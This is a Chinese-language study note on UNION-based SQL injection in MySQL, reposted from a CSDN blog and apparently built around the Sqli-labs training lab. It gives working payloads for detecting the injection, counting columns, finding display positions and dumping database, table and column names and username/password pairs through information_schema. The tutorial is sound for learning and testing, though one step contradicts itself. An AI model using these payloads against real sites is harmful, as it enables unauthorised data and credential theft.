一定义:将多条查询语句的结果合并为一个结果,union注入为一种手动测试
常用的系统库:information_schema(mysql5.0版本以后自带的数据库,我们注入的账号能够读取该库,则可以进行脱库)。 tables 表
table_schema:保存所有库名的列
table_name:保存所有表名的列
columns 表
table_name:保存所有表名的列
column_name:保存所有列名的列
二、使用条件
- 页面对不同的查询语句有不同的回显结果
- 根据每一步的返回结果判断和进行下一步操作
三、基本流程
0)判断是否具有sql注入条件
1)判断sql注入漏洞是否存在及类型
是否有漏洞:1’ or ‘1’ =’1
主要注入类型
Ps1:按照数据类型分类
1.数字型 1 or 1=1
2.字符型 1’ or 1=1#
3.搜索型
Ps2:按照提交方式分类
1.GET型
2.POST型
3.Cookie型
4. Http请求头注入
Ps3:按照执行效果分类
1.报错注入
2.联合查询盲注
3.盲注
4. 堆查询注入
- 判断sql查询字段数:?id=1’ order by 4 -- -
判断列数的原因:
限制因素:union函数进行联合查询的条件:union前面查询语句查询的 元素需要和后面拼接的查询语句查询元素数量一致
order by能够判断列数的原因:order by 即对查询的数据进行分组排序,分 组排序依据为查询内容的属性,如若前面查询内容总属性为3,如果我 们输入order by 4,后端代码执行时就会回显错误信息给前端页面,由此 我们就能判断sql语句查询的属性列数。
3)判断回显点:?id=-1’ union select 1,2,3 -- -
方法:利用联合函数 union 来查询回显的显示位:
目的:后端代码可能查询n个字段位数,但是显示给前端的只有m个字段位 数(m<n),攻击者需要确定哪些位是能看到回显信息的,不然攻击时获取 关键信息就很难受
4) 爆库名:?id=-1' union select 1,2,version() -- -/?id=-1' union select 1,2,database() -- -
方法:联合利用数据库内置函数对数据库进行sql注入:此处利用了两个内 置函数
version()函数:获取当前数据库版本信息
database()函数:获取当前数据库名
注意:通过此步可以判断数据库是否具有information_schema基本架构库:mysql5.0以上版本特有,5.0以下版本没有
5) 爆数据库表名、数据库属性字段列名、关键敏感数据信息:
information_schema 库爆库语句:
union select group_concat(schema_name);涉及schemata表
information_schema 库爆表语句:
union select group_concat(table_name);涉及tables表:包含table_shema(数 据库名)、table_name(数据表名)字段
information_schema 库爆属性字段语句:
union select group_concat(column_name);涉及columns表:包含table_schema、 table_name、column_name(属性字段名)字段
?id=-1' union select 1,2,group_concat(table_name) from
information_schema.tables where table_schema='security' -- -;
爆出security数据库所有表名,并通过group_concat()函数将查询到的表名组合在一起并输出为一条数据
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='库名' and table_name='user' -- -爆出security数据库所有表名以及users表属性字段列名
?id=-1' union select 1,2,group_concat(username,'--',password) from security.users -- -;爆出关键敏感数据信息
四.按最初的流程开始
数字型
1.加单引号,如输入1’,对应的sql为:select * from table where id=1’ 这时sql语句出错,程序无法正常从数据库中查询出数据,就会抛出异常。
2.加and 1=1,如输入1 and 1=1,对应的sql:select * from table where id=1’ and 1=1 没有语法错误且逻辑判断为正确,所以返回正常。
3.加and 1=2,如输入1 and 1=2,对应的sql:select * from table where id=1 and 1=2 没有语法错误但是逻辑判断为假,所以返回错误。
若满足上述步骤,则注入类型为数字型
字符型:
1.加单引号,对应的sql语句由于加单引号后变成三个单引号,则无法执行,程序会报错;
2.输入x’ and ‘1’='1,对应的Sql 语句:select * from table where id = ‘x’ and ‘1’=‘1’,语法正确,逻辑判断正确,所以返回正确。
3.输入x’and ‘1’='2,对应的Sql 语句:select * from where id = ‘x’ and ‘1’=‘2’,
语法正确,但逻辑判断错误,所以返回正确。
若满足上述步骤,则注入类型为字符型。
出处:SQL注入学习之union联合查询注入_union select 注入-CSDN博客
https://blog.csdn.net/spongbob1/article/details/109960680